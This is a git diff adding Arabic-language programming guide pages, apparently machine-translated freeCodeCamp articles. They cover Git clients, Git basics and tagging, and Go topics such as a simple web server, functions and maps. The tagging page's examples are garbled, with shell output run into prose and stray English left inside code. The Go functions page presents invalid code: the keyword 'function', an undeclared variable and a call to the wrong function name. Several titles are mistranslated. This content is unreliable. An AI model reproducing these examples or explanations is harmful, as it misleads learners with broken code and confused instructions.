+*   [GitHub Desktop](https://desktop.github.com/) هو تطبيق عميل Git الذي توفره GitHub ، مما يسمح بتكامل أفضل مع GitHub أكثر من الحلول الأخرى. وهو متوفر لنظامي التشغيل Windows و Mac ، ولكن ليس لنظام Linux حتى الآن. انه مصدر مجاني ومفتوح.
+*   [SourceTree](https://www.sourcetreeapp.com/) هو آخر واجهة المستخدم الرسومية واجهة المستخدم لنظام التشغيل Windows وماك من قبل Atlassian. لديها العديد من الميزات مثل rebase التفاعلية ، مصممة لجعل استخدام Git أسهل للمبتدئين.
+*   يتوفر [Git Tower](https://www.git-tower.com/mac/) لـ Mac و Windows.
+*   [TortoiseGit](https://tortoisegit.org/) هو واجهة Windows Shell إلى Git استناداً إلى TortoiseSVN. انها مفتوحة المصدر ويمكن بناؤها مع البرمجيات المتاحة بحرية.
+*   [SmartGit](https://www.syntevo.com/smartgit/) هو عميل Git مجاني للاستخدام غير التجاري لـ Windows و Mac و Linux.
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/index.md b/client/src/guide/arabic/git/index.md
new file mode 100644
index 0000000000..54d5904024
--- /dev/null
+++ b/client/src/guide/arabic/git/index.md
@@ -0,0 +1,113 @@
+---
+title: Git
+localeTitle: اذهب
+---
+## بوابة
+
+Git هو نظام تحكم في إصدار الموزعة مفتوح المصدر تم إنشاؤه عام 2005 بواسطة Linus Torvalds وآخرون من مجتمع تطوير Linux. يمكن أن يعمل Git مع العديد من أنواع المشاريع ، ولكنه يستخدم بشكل شائع في التعليمات البرمجية المصدر للبرامج.
+
+التحكم في الإصدار هو نظام يتتبع التغييرات في ملف أو مجموعة من الملفات على مدار الوقت. عندما يكون لديك سجل بهذه التغييرات ، فإنه يتيح لك العثور على إصدارات محددة لاحقًا ، أو مقارنة التغييرات بين الإصدارات ، أو استرداد الملفات التي ربما قمت بحذفها ، أو إعادة الملفات إلى الإصدارات السابقة.
+
+يعني نظام التحكم في إصدار _الموزعة_ أن المستخدمين المختلفين يحتفظون بمستودعاتهم الخاصة لمشروع ، بدلاً من العمل من مستودع مركزي واحد. يتمتع المستخدمون تلقائيًا بقدرات تتبع كاملة للملفات وسجل تاريخ المشروع بالكامل دون الحاجة إلى الوصول إلى خادم أو شبكة مركزية.
+
+عندما تتم تهيئة Git في دليل مشروع ، يبدأ تعقب تغييرات الملف وتخزينها كـ "مجموعات تغيير" أو "تصحيحات". يقدم المستخدمون الذين يعملون معاً في مشروع مجموعات التغيير الخاصة بهم والتي يتم تضمينها (أو رفضها) في المشروع.
+
+**جدول المحتويات**
+
+*   [فهم ثلاثة أقسام من مشروع Git](#understand-the-three-sections-of-a-git-project)
+*   [تثبيت Git](#install-git)
+*   [تكوين بيئة Git](#configure-the-git-environment)
+*   [تهيئة Git في مشروع](#initialize-git-in-a-project)
+*   [الحصول على مساعدة في جيت](#get-help-in-git)
+*   [مصادر](#sources)
+*   [معلومات اكثر](#more-information)
+
+### فهم ثلاثة أقسام من مشروع Git
+
+سيتضمن مشروع Git الأقسام الثلاثة التالية:
+
+1.  دليل جيت
+2.  دليل العمل (أو شجرة العمل)
+3.  منطقة التدريج
+
+**دليل Git** (الموجود في مشروعك `YOUR-PROJECT-PATH/.git/` ) هو المكان الذي تخزن فيه Git كل ما تحتاجه لتتبع المشروع بدقة. يتضمن ذلك بيانات التعريف وقاعدة بيانات الكائنات التي تتضمن إصدارات مضغوطة من ملفات المشروع.
+
+**دليل العمل** هو المكان الذي يقوم فيه المستخدم بإجراء تغييرات محلية على المشروع. يسحب دليل العمل ملفات المشروع من قاعدة بيانات كائن دليل Git ويضعها على الجهاز المحلي للمستخدم.
+
+**منطقة التدريج** عبارة عن ملف (يُطلق عليه أيضًا اسم "الفهرس" أو "المرحلة" أو "ذاكرة التخزين المؤقت") الذي يخزن معلومات حول ما سيحدث في التزامك التالي. الالتزام هو عندما تخبر Git بحفظ هذه التغييرات المرحلية. يأخذ Git لقطة من الملفات كما هي ، ويقوم بتخزين هذه اللقطة بشكل دائم في دليل Git.
+
+مع ثلاثة أقسام ، هناك ثلاث حالات رئيسية يمكن أن يكون الملف فيها في أي وقت محدد: الالتزام ، التعديل ، أو التدريج. يمكنك _تعديل_ ملف في أي وقت تقوم فيه بإجراء تغييرات عليه في دليل العمل الخاص بك. بعد ذلك ، يتم _تنظيمه_ عند نقله إلى منطقة التدريج. أخيرا ، _ارتكبت_ بعد ارتكاب.
+
+### تثبيت Git
+
+*   أوبونتو: `sudo apt-get install git`
+*   ويندوز: [تنزيل](https://git-scm.com/download/win)
+*   Mac: [تنزيل](https://git-scm.com/download/mac)
+
+### تكوين بيئة Git
+
+يحتوي Git على أداة `git config` التي تسمح لك بتخصيص بيئة Git الخاصة بك. يمكنك تغيير طريقة Git ووظائفها من خلال تحديد متغيرات تهيئة معينة. قم بتشغيل هذه الأوامر من واجهة سطر الأوامر على جهازك (Terminal في Mac أو موجه الأوامر أو Powershell في Windows).
+
+هناك ثلاثة مستويات حيث يتم تخزين هذه المتغيرات التكوين:
+
+1.  النظام: يقع في `/etc/gitconfig` ، ويطبق الإعدادات الافتراضية على كل مستخدم للكمبيوتر. لإجراء تغييرات على هذا الملف ، استخدم خيار `--system` باستخدام أمر `git config` .
+2.  المستخدم: يقع في `~/.gitconfig` أو `~/.config/git/config` ، يطبق الإعدادات على مستخدم واحد. لإجراء تغييرات على هذا الملف ، استخدم الخيار `--global` باستخدام أمر `git config` .
+3.  المشروع: يقع في مشروعك `YOUR-PROJECT-PATH/.git/config` ، يطبق الإعدادات على المشروع فقط. لإجراء تغييرات على هذا الملف ، استخدم الأمر `git config` .
+
+إذا كانت هناك إعدادات تتعارض مع بعضها البعض ، فستتجاوز التهيئات على مستوى المشروع المستويات على مستوى المستخدم ، وستتجاوز التهيئات على مستوى المستخدم تلك التي على مستوى النظام.
+
+ملاحظة لمستخدمي Windows: تبحث Git عن ملف التكوين على مستوى المستخدم ( `.gitconfig` ) في دليل `$HOME` الخاص بك ( `C:\Users\$USER` ). يبحث Git أيضًا عن `/etc/gitconfig` ، على الرغم من أنه يتعلق بجذر MSys ، وهو المكان الذي تقرر فيه تثبيت Git على نظام Windows الخاص بك عند تشغيل برنامج التثبيت. إذا كنت تستخدم الإصدار 2.x أو أحدث من Git لـ Windows ، فهناك أيضًا ملف تهيئة على مستوى النظام في `C:\Documents and Settings\All Users\Application Data\Git\config` على Windows XP ، وفي `C:\ProgramData\Git\config` على ويندوز فيستا وأحدث. لا يمكن تغيير ملف التهيئة هذا إلا بواسطة `git config -f FILE` كمسؤول.
+
+#### أضف اسمك والبريد الإلكتروني
+
+يتضمن Git اسم المستخدم والبريد الإلكتروني كجزء من المعلومات الموجودة في الالتزام. ستحتاج إلى إعداد هذا ضمن ملف التهيئة على مستوى المستخدم باستخدام هذه الأوامر:
+
+ `git config --global user.name "My Name" 
+ git config --global user.email "myemail@example.com" 
+` 
+
+#### تغيير محرر النص الخاص بك
+
+يستخدم Git تلقائيًا محرر النصوص الافتراضي ، ولكن يمكنك تغيير ذلك. في ما يلي مثال لاستخدام محرر Atom بدلاً منه (الخيار `--wait` يخبر shell بانتظار محرر النص حتى تتمكن من القيام `--wait` فيه قبل أن ينتقل البرنامج):
+
+ `git config --global core.editor "atom --wait" 
+` 
+
+#### إضافة اللون إلى إخراج Git
+
+يمكنك تكوين shell الخاص بك لإضافة اللون إلى إخراج Git باستخدام هذا الأمر:
+
+ `git config --global color.ui true 
+` 
+
+للاطلاع على جميع إعدادات التهيئة ، استخدم الأمر `git config --list` .
+
+### تهيئة Git في مشروع
+
+بعد تثبيت Git وتهيئته على جهاز الكمبيوتر ، ستحتاج إلى تهيئته في مشروعك لبدء استخدام صلاحيات التحكم في الإصدار. في سطر الأوامر ، استخدم الأمر `cd` للتنقل إلى مجلد المستوى الأعلى (أو الجذر) للمشروع الخاص بك. بعد ذلك ، قم بتشغيل الأمر `git init` . يقوم هذا بتثبيت مجلد دليل Git بكافة الملفات والكائنات التي يحتاجها Git لتتبع مشروعك.
+
+من المهم تثبيت دليل Git في مجلد جذر المشروع. يمكن لـ Git تتبع الملفات في المجلدات الفرعية ، ولكنها لن تتعقب الملفات الموجودة في المجلد الرئيسي نسبة إلى دليل Git.
+
+### الحصول على مساعدة في جيت
+
+إذا نسيت كيف يعمل أي أمر في Git ، فيمكنك الوصول إلى مساعدة Git من سطر الأوامر بعدة طرق:
+
+ `git help COMMAND 
+ git COMMAND --help 
+ man git-COMMAND 
+` 
+
+هذا يعرض الصفحة اليدوية للأمر في إطار shell الخاص بك. للتنقل ، انتقل باستخدام مفاتيح الأسهم لأعلى ولأسفل أو استخدم اختصارات لوحة المفاتيح التالية:
+
+*   `f` أو `spacebar` إلى الصفحة إلى الأمام
+*   `b` لصفحة العودة
+*   `q` للإقلاع
+
+### مصادر
+
+تستخدم هذه المقالة معلومات من كتاب [برو جيت](https://github.com/progit/progit2) ، كتبها سكوت شاكون وبن شتراوب ونشرتها Apress. يتم عرض الكتاب بالكامل في [وثائق Git](https://git-scm.com/book/en/v2) .
+
+### معلومات اكثر:
+
+*   للتنزيل والتوثيق وبرنامج تعليمي يستند إلى المتصفح: [موقع Git الرسمي](https://git-scm.com/)
+*   الأوامر الأكثر فائدة عندما تكون في موقف GIT سيئة: [يا القرف ، بوابة!](http://ohshitgit.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/git/tagging-in-git/index.md b/client/src/guide/arabic/git/tagging-in-git/index.md
new file mode 100644
index 0000000000..1c3473a26f
--- /dev/null
+++ b/client/src/guide/arabic/git/tagging-in-git/index.md
@@ -0,0 +1,200 @@
+---
+title: Tagging in Git
+localeTitle: وضع العلامات في جيت
+---
+يتيح التمييز للمطورين وضع علامات على نقاط التفتيش المهمة في سياق تطوير مشاريعهم. على سبيل المثال ، يمكن تمييز إصدارات إصدارات البرامج. (مثال: v1.3.2) إنه يسمح لك بشكل أساسي بإعطاء التزام اسم خاص (علامة).
+
+لعرض جميع العلامات المنشأة بترتيب أبجدي:
+
+ `git tag 
+` 
+
+للحصول على مزيد من المعلومات حول علامة:
+
+ `git show v1.4 
+` 
+
+هناك نوعان من العلامات:
+
+1.  المشروح
+
+ `git tag -a v1.2 -m "my version 1.4" 
+` 
+
+2.  وزن خفيف
+
+ `git tag v1.2 
+` 
+
+تختلف في الطريقة التي يتم تخزينها.  
+هذه خلق علامات على التزامك الحالي.
+
+إذا كنت تريد وضع علامة على التزام سابق ، فحدد رقم تعريف الالتزام الذي ترغب في وضع علامة عليه:
+
+ `git tag -a v1.2 9fceb02 
+` 
+
+يمكن استخدام أسماء العلامات بدلًا من استخدام المعرفات أثناء السحب والدفع بالالتزامات إلى repo بعيد.
+
+#### معلومات اكثر:
+
+*   وثائق جيت: [التوثيق](https://git-scm.com/docs/git-tag)
+*   Git Tagging Chapter: [Book](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
+
+يمكنك إدراج جميع العلامات المتاحة في مشروع باستخدام الأمر `git tag` (nate that they will appear بالترتيب الأبجدي):
+
+ `$ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+` 
+
+تعد هذه الطريقة من علامات الإدراج رائعة للمشروعات الصغيرة ، ولكن يمكن أن تتضمن المشروعات الأكبر مئات العلامات ، لذلك قد تحتاج إلى ترشيحها عند البحث عن نقطة مهمة في التاريخ. يمكنك العثور على العلامات التي تحتوي على أحرف محددة تضيف - `-l` إلى أمر `git tag` :
+
+ `$ git tag -l "v2.0*" 
+ v2.0.1 
+ v2.0.2 
+ v2.0.3 
+ v2.0.4 
+` 
+
+## قم بإنشاء علامة
+
+يمكنك إنشاء نوعين من العلامات: مشروح وخفيف الوزن. أولها هي كائنات منافسة في قاعدة بيانات GIT: يتم فحصها ، وتطلب رسالة (مثل الإلتزامات) وتخزين بيانات أخرى مهمة مثل الاسم والبريد الإلكتروني والتاريخ. من ناحية أخرى ، لا تتطلب علامات خفيفة الوزن مسحا أو تخزين بيانات أخرى ، تعمل فقط كمؤشر لنقطة محددة في المشروع.
+
+### قم بإنشاء علامة توضيحية
+
+لإنشاء علامة مشفرة ، قم بإضافة علامة `-a tagname -m "tag message"` إلى أمر `git tag` :
+
+ `$ git tag -a v4.0 -m "release version 4.0" 
+ $ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v4.0 
+` 
+
+كما ترى ، يحدد `-a` أنك تقوم بإنشاء علامة توضيحية ، بعد أن يأتي اسم العلامة وأخيراً ، `-m` متبوعة برسالة العلامة للتخزين في قاعدة البيانات Git.
+
+### قم بإنشاء علامة خفيفة الوزن
+
+علامات خفيفة الوزن تحتوي فقط على المجموع الاختباري المرتبط (لا يتم تخزين أي معلومات أخرى). لإنشاء واحدة ، ما عليك سوى تشغيل الأمر `git tag` بدون أي خيارات أخرى (يتم استخدام الأحرف -lw في نهاية الاسم للإشارة إلى علامات خفيفة ، ولكن يمكنك تمييزها كما تريد):
+
+ `$ git tag v4.1-lw 
+ $ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v4.0 
+ v4.1-lw 
+` 
+
+في هذه المرة لم تحدد رسالة أو بيانات أخرى ذات صلة ، لذلك تحتوي العلامة على المجموع الاختباري للالتزام المرتبط فقط.
+
+## عرض بيانات العلامة
+
+يمكنك تشغيل أمر `git show` لعرض البيانات المخزنة في علامة. في حالة العلامات التوضيحية ، سترى بيانات العلامة وبيانات الالتزام:
+
+ `$ git show v4.0 
+ tag v4.0 
+ Tagger: John Cash <john@cash.com> 
+ Date:   Mon Sat 28 15:00:25 2017 -0700 
+ 
+ release version 4.0 
+ 
+ commit da43a5fss745av88d47839247990022a98419093 
+ Author: John Cash <john@cash.com> 
+ Date:   Fri Feb 20 20:30:05 2015 -0700 
+ 
+  finished details 
+` 
+
+إذا كانت العلامة التي تشاهدها علامة خفيفة ، فسترى بيانات الالتزام المحالة فقط:
+
+ `$ git show v1.4-lw 
+ commit da43a5f7389adcb9201ab0a289c389ed022a910b 
+ Author: John Cash <john@cash.com> 
+ Date:   Fri Feb 20 20:30:05 2015 -0700 
+ 
+  finished details 
+` 
+
+## وضع علامات على الالتزام القديم
+
+يمكنك أيضًا وضع علامة على الالتزام السابق باستخدام علامة git. من أجل القيام بذلك ، ستحتاج إلى تحديد المجموع الاختباري للالتزام (أو على الأقل جزء منه) في سطر الأمر.
+
+أولاً ، قم بتشغيل git log للتعرف على المجموع الاختباري للالتزام المطلوب:
+
+ `$ git log --pretty=oneline 
+ ac2998acf289102dba00823821bee04276aad9ca added products section 
+ d09034bdea0097726fd8383c0393faa0072829a7 refactorization 
+ a029ac120245ab012bed1ca771349eb9cca01c0b modified styles 
+ da43a5f7389adcb9201ab0a289c389ed022a910b finished details 
+ 0adb03ca013901c1e02174924486a08cea9293a2 small fix in search textarea styles 
+` 
+
+عندما يكون لديك المجموع الاختباري المطلوب ، أضفه في نهاية سطر إنشاء العلامة:
+
+ `$ git tag -a v3.5 a029ac 
+` 
+
+سترى علامة تم إضافة `git tag` بشكل صحيح:
+
+ `$ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v3.5 
+ v4.0 
+ v4.1-lw 
+` 
+
+## دفع علامات
+
+لا تدفع Git العلامات افتراضيًا عند تشغيل أمر git push. لذا ، لنجعل علامة بنجاح إلى الخادم سيكون عليك تنفيذ أمر `git push origin` :
+
+ `$ git push origin v4.0 
+ Counting objects: 14, done. 
+ Delta compression using up to 8 threads. 
+ Compressing objects: 100% (16/16), done. 
+ Writing objects: 100% (18/18), 3.15 KiB | 0 bytes/s, done. 
+ Total 18 (delta 4), reused 0 (delta 0) 
+ To git@github.com:jcash/gitmanual.git 
+ * [new tag]         v4.0 -> v4.0 
+ ``` 
+ 
+ You can also use the ```--tags``` option to add multiple tags at once with the ```git push origin``` command: 
+` 
+
+$ git push origin - علامات عد الكائنات: 1 ، القيام به. كائنات الكتابة: 100٪ (1/1) ، 160 بايت | 0 بايت / ثانية ، القيام به. المجموع 1 (دلتا 0) ، أعيد استخدامها 0 (دلتا 0) إلى git@github.com: jcash / gitmanual.git
+
+*   \[علامة جديدة\] v4.0 -> v4.0
+*   \[new tag\] v4.1-lw -> v4.1-lw
+
+ `## Checking out Tags 
+ 
+ You can use ```git checkout``` to checkout to a tag like you would normally do. But you need to keep in mind that this would result a *detached HEAD* state. 
+` 
+
+$ git checkout v0.0.3 ملاحظة: التحقق من "v0.0.3".
+
+أنت في حالة "فصل الرأس". يمكنك أن تنظر حولك وتجعلها تجريبية التغييرات والالتزام بها ، ويمكنك تجاهل أي تعهدات تجريها في هذا الشأن دون التأثير على أي فروع عن طريق إجراء عملية دفع أخرى.
+
+ `## Deleting a Tag 
+ 
+ You may find a situation were you want to delete a certain tag. There's a very useful command for this situations: 
+` 
+
+علامة git $ - حذف v0.0.2 علامة git $ v0.0.1 v0.0.3 v0.0.4 \`\` \`
+
+### معلومات اكثر
+
+*   [Git Pro - أساسيات التمييز](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
+*   [جيت برو - التوثيق](https://git-scm.com/docs/git-tag)
+*   [بوابة HowTo](https://githowto.com/tagging_versions)
+*   [غيغا غيض: العلامات](http://alblue.bandlem.com/2011/04/git-tip-of-week-tags.html)
+*   [خلق علامة](https://www.drupal.org/node/1066342)
+
+### مصادر
+
+وثائق جيت: [العلامات](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/a-simple-web-server-in-go/index.md b/client/src/guide/arabic/go/a-simple-web-server-in-go/index.md
new file mode 100644
index 0000000000..c1a5b9928a
--- /dev/null
+++ b/client/src/guide/arabic/go/a-simple-web-server-in-go/index.md
@@ -0,0 +1,31 @@
+---
+title: A simple web server in Go
+localeTitle: خادم الويب بسيط في الذهاب
+---
تشتهر لغة برمجة Go بوجود خادم ويب مضمن. في هذه المقالة سوف تتعلم كيف يمكنك بسهولة إنشاء خادم الويب الخاص بك مع Go. لن تحتاج إلى أي حزم أخرى بجانب تلك التي بنيت بالفعل!
+
+أولاً ، ادخل إلى محرر النص. ثم قم بإنشاء ملف يسمى `webserver.go` وأدخل الكود التالي:
+
+ `package main 
+ 
+ import ( 
+  "net/http" 
+  "io" 
+ ) 
+ 
+ func main() { 
+  http.HandleFunc("/", servePage) 
+    http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  io.WriteString(writer, "Hello world!") 
+ } 
+` 
+
+دعونا كسر كتلة الكود أعلاه. نستورد حزمة `net/http` : تحتوي هذه الحزمة على خادم الويب نفسه. ثم نستورد أيضًا حزمة `io` ، سنستخدم هذا لاحقًا لتقديم شيء ما للعميل.
+
+في الوظيفة `main` نقوم بعمل شيئين. بادئ ذي بدء ، نطلب من الخادم أن يسمح للوظيفة التي تسمى `servePage` بالتعامل مع كل حركة المرور الواردة إلى `/` - في هذه الحالة ، تعني أنها تتعامل مع الطلبات إلى _أي_ `URL` . الشيء الثاني الذي نقوم به هو تفعيل الخادم. نقوم بذلك باستخدام دالة تسمى `ListenAndServe` . تتطلب هذه الوظيفة معلمتين: `port` ( `string` ) ، وفي هذه الحالة يكون `8080` ، `handler` ( `Handler` ) - ومع ذلك فإن الأخير ليس مهمًا حتى الآن. سنجعل فقط `nil` ، وسوف يعمل كل شيء على ما يرام.
+
+في صفحة `servePage` نقوم بعمل شيء واحد بسيط ، في الوقت الحالي. باستخدام حزمة `io` ووظيفة `WriteString` التي تحتوي عليها ، يمكننا الاستجابة لطلب العملاء بنص `Hello world!` (أو أي سلسلة أخرى ، بالطبع). ربما كنت قد لاحظت أيضا أن الدالة `servePage` لها `servePage` : `writer` `request` . مع الكاتب يمكنك في الواقع الاستجابة لطلب `HTTP` ومع `request` قد تحصل على مزيد من المعلومات حول الطلب نفسه.
+
+تهانينا! لقد أنشأت خادم الويب الأول! إذا كنت ترغب في اختباره: فقط قم بتشغيل `go run webserver.go` ، `go run webserver.go` متصفحًا وانتقل إلى `http://localhost:8080` !
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/documentation/index.md b/client/src/guide/arabic/go/documentation/index.md
new file mode 100644
index 0000000000..13c8bfbcee
--- /dev/null
+++ b/client/src/guide/arabic/go/documentation/index.md
@@ -0,0 +1,14 @@
+---
+title: Documentation
+localeTitle: كابل بيانات
+---
+# الوثائق الرسمية
+
+1.  [مواصفات اللغة](https://golang.org/ref/spec)
+2.  [الذهاب الفعال](https://golang.org/doc/effective_go.html)
+
+## Godoc.org (https://godoc.org/)
+
+تتضمن الوثائق داخل golang.org المكتبة القياسية و src.
+
+الشيء الجيد في **godoc.org** هو أنه يتضمن المكتبة القياسية وحزم الطرف الثالث.
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/functions/index.md b/client/src/guide/arabic/go/functions/index.md
new file mode 100644
index 0000000000..e3d5e83df0
--- /dev/null
+++ b/client/src/guide/arabic/go/functions/index.md
@@ -0,0 +1,94 @@
+---
+title: Go Functions
+localeTitle: الذهاب وظائف
+---
+## الذهاب وظائف
+
+تأخذ الدالة صفرًا أو أكثر من أي معلمة من أي نوع ، وتقوم ببعض المنطق معها وقد ترجع واحدة أو أكثر من القيم. بناء جملة الدالة Golang هو:
+
+ `func sum(parameter1 int64, parameter2 int64) int64 { 
+  return parameter1+parameter2 
+ } 
+` 
+
+هنا ، اسم الوظيفة هو `add` . فإنه يأخذ إلى المعلمات ، `parameter1` و `parameter2` من النوع `int64` وإرجاع int64 آخر ، مجموع المعلمتين.
+
+### إرجاع
+
+بعد `return` التوصل، مخارج وظيفة دون تنفيذ المزيد من التعليمات البرمجية.
+
+ `func sum(parameter1 int64, parameter2 int64) int64 { 
+  return parameter1+parameter2 
+  // Unreachable code 
+  fmt.Printf("Don't print me") 
+ } 
+` 
+
+### استدعاء وظيفة
+
+سيتم تسمية الوظيفة المذكورة أعلاه على النحو التالي:
+
+ `sum(4, 5) 
+` 
+
+قيمة هذا التعبير هي 9.
+
+### احذف نوع المعلمة
+
+إذا كانت معلمتان متتاليتان أو أكثر من نفس النوع ، فيمكن ذكرها مرة واحدة فقط.
+
+ `function foo(x, y, z int64, name string) { 
+  fmt.Printf("%d %d %d %s", x, y, z, name) 
+ } 
+` 
+
+هنا `x` و `y` و `z` اكتب `int64` ، `name` عبارة عن سلسلة.
+
+### إرجاع قيم متعددة
+
+يمكن أن تقوم الدالة بإرجاع قيم الصفر أو أكثر. لإرجاع أي شيء ، احذف نوع الإرجاع:
+
+ `function helloWorld() { 
+  fmt.Printf("Hello world!") 
+ } 
+` 
+
+لإرجاع قيمة واحدة حدد نوعه:
+
+ `function getHelloWorld() string { 
+  return "Hello world!" 
+ } 
+` 
+
+لإرجاع أكثر من قيمة ، حدد أنواعها ، ملفوفة في `()` ومفصولة بفواصل:
+
+ `function getHelloWorldAndBestLanguage() (string, string) { 
+  return "Hello world!", "Golang" 
+ } 
+` 
+
+لتلقي هذه القيم ، قم ببساطة بتعريف المتغيرات المفصولة بفواصل مثل:
+
+ `helloWorld, bestLanguage := getHelloWorldAndBestLanguage() 
+ // helloWorld == "Hello world!" 
+ // bestLanguage == "Golang" 
+` 
+
+### عوائد عارية
+
+يمكنك تسمية أنواع الإرجاع بحيث لا تحتاج إلى تمرير متغير إلى بيان الإرجاع:
+
+ `func duplicate(s string) (first, second string) { 
+  first = s 
+  last = s 
+    return 
+ } 
+ 
+ func main() { 
+    fmt.Println(split("Hello world!")) // ("Hello world!", "Hello world!") 
+ } 
+` 
+
+#### معلومات اكثر:
+
+https://tour.golang.org/basics/4
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/go-channels/index.md b/client/src/guide/arabic/go/go-channels/index.md
new file mode 100644
index 0000000000..5c5bd9b0ef
--- /dev/null
+++ b/client/src/guide/arabic/go/go-channels/index.md
@@ -0,0 +1,16 @@
+---
+title: Go Channels
+localeTitle: Go Channels
+---
+## Go Channels
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-channels/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+*   [جولة في الذهاب](https://tour.golang.org/concurrency/2)
+*   [الذهاب عن طريق المثال](https://gobyexample.com/channels)
+*   [Golang كتاب](https://www.golang-book.com/books/intro/10)
+*   [مواصفات لغة برمجة Go](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/go-functions/index.md b/client/src/guide/arabic/go/go-functions/index.md
new file mode 100644
index 0000000000..e178b6617b
--- /dev/null
+++ b/client/src/guide/arabic/go/go-functions/index.md
@@ -0,0 +1,46 @@
+---
+title: Go Functions
+localeTitle: الذهاب وظائف
+---
+## الذهاب وظائف
+
+الدالة هي كتلة من التعليمة البرمجية التي تقوم بتنفيذ مهمة عندما يتم استدعاؤها ، بحيث يعرف اسم الدالة ذلك ويستخدم في استدعاء الدالة.
+
+يبدأ تعريف الدالة بالكلمة الأساسية `func` متبوعة باسم الدالة ثم وسيطات الدالة وأخيراً أنواع القيم التي تم إرجاعها. يربط التصريح اسم الدالة بالوظيفة. ضع في اعتبارك أن النوع يأتي بعد اسم المتغير في كل من الوسيطات والقيم التي تم إرجاعها. مثال لإعلان الدالة هو ما يلي
+
+ `func add(a int, b int) int 
+` 
+
+يمكن أن تحتوي الدالة على 0 أو العديد من الوسائط استنادًا إلى وظيفتها المطلوبة
+
+ `func zero() int { /* Function Definition */ } 
+ func increment(x int) int { /* Function Definition */ } 
+ func add(x, y int) int { /* Function Definition */ } 
+` 
+
+يدعم Go إرجاع قيم متعددة. تقوم الدالة التالية بإرجاع قيمتين: مجموع الوسيطتين ، والفرق بين الوسيط الأول والثاني
+
+ `func addAndSubtract(x, y int) (int, int) { 
+  return x + y, x - y 
+ } 
+ 
+ addAndSubtract(7, 4) // Returns 11, 3 
+` 
+
+Go يعتمد أيضًا تسمية القيم التي تم إرجاعها
+
+ `func mulitplyByThreeAndDivideByFive(x int) (product int, quotient int) { 
+    product = x * 3 
+    quotient = x / 5 
+    return 
+ } 
+ 
+ mulitplyByThreeAndDivideByFive(20) // Returns 60, 4 
+` 
+
+#### معلومات اكثر:
+
+*   [جولة في الذهاب](https://tour.golang.org/basics/4)
+*   [الذهاب عن طريق المثال](https://gobyexample.com/functions)
+*   [Golang كتاب](https://www.golang-book.com/books/intro/7)
+*   [مواصفات لغة برمجة Go](https://golang.org/ref/spec#Function_declarations)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/go-maps/index.md b/client/src/guide/arabic/go/go-maps/index.md
new file mode 100644
index 0000000000..5ae24561ee
--- /dev/null
+++ b/client/src/guide/arabic/go/go-maps/index.md
@@ -0,0 +1,73 @@
+---
+title: Go Maps
+localeTitle: الذهاب خرائط
+---
+## الذهاب خرائط
+
+خريطة تسمى " _قاموس"_ بلغات أخرى ، ومفاتيح "خرائط" للقيم. يتم الإعلان عن خريطة مثل هذا:
+
+ `var m map[Key]Value 
+` 
+
+لا تحتوي هذه الخريطة على مفاتيح ولا يمكن إضافة مفاتيح إليها. لإنشاء خريطة ، استخدم وظيفة `make` :
+
+ `m = make(map[Key]Value) 
+` 
+
+يمكن استخدام أي شيء كمفتاح أو كقيمة.
+
+### تعديل الخرائط
+
+في ما يلي بعض الإجراءات الشائعة في الخرائط.
+
+#### إدخال / تغيير العناصر
+
+إنشاء أو تغيير عنصر `foo` في الخريطة `m` :
+
+ `m["foo"] = bar 
+` 
+
+#### الحصول على العناصر
+
+احصل على عنصر مع مفتاح `foo` في الخريطة `m` :
+
+ `element = m["foo"] 
+` 
+
+#### حذف العناصر
+
+حذف عنصر مع مفتاح `foo` في الخريطة `m` :
+
+ `delete(m, "foo") 
+` 
+
+#### تحقق مما إذا كان المفتاح قد تم استخدامه
+
+تحقق من استخدام مفتاح `foo` في الخريطة `m` :
+
+ `element, ok = m["foo"] 
+` 
+
+إذا كان `ok` `true` ، فقد تم استخدام المفتاح ويحمل `element` القيمة عند `m["foo"]` . إذا كان `ok` `false` ، فهذا يعني أن المفتاح لم يتم استخدامه وأن `element` يحتفظ بقيمه الصفرية.
+
+### الخريطة حرفية
+
+يمكنك إنشاء حرفيات الخرائط مباشرة:
+
+ `var m = map[string]bool{ 
+    "Go": true, 
+    "JavaScript":false, 
+ } 
+ 
+ m["Go"] // true 
+ m["JavaScript"] = true // Set Javascript to true 
+ delete(m, "JavaScript") // Delete "JavaScript" key and value 
+ language, ok = m["C++"] // ok is false, language is bool's zero-value (false) 
+` 
+
+#### معلومات اكثر:
+
+*   [جولة في الذهاب](https://tour.golang.org/moretypes/19)
+*   [الذهاب عن طريق المثال](https://gobyexample.com/maps)
+*   [Golang كتاب](https://www.golang-book.com/books/intro/6#section3)
+*   [مواصفات لغة برمجة Go](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/go-playground/index.md b/client/src/guide/arabic/go/go-playground/index.md
new file mode 100644
index 0000000000..893b7a3f37
--- /dev/null
+++ b/client/src/guide/arabic/go/go-playground/index.md
@@ -0,0 +1,29 @@
+---
+title: Go Playground
+localeTitle: اذهب الملعب
+---
+# ملعب جولانج
+
+يعد ملعب Golang موقعًا على الويب حيث يمكنك كتابة كود Go عبر الإنترنت ، حتى لا تضطر إلى إعداد أي بيئة تطويرية.
+
+مجرد فتح جديد نافذة المتصفح الخشخشة [الملعب](https://play.golang.org) .
+
+بمجرد الوصول إلى هناك ، ستحصل على الأزرار:
+
+1.  يركض
+2.  شكل
+3.  واردات
+4.  شارك
+
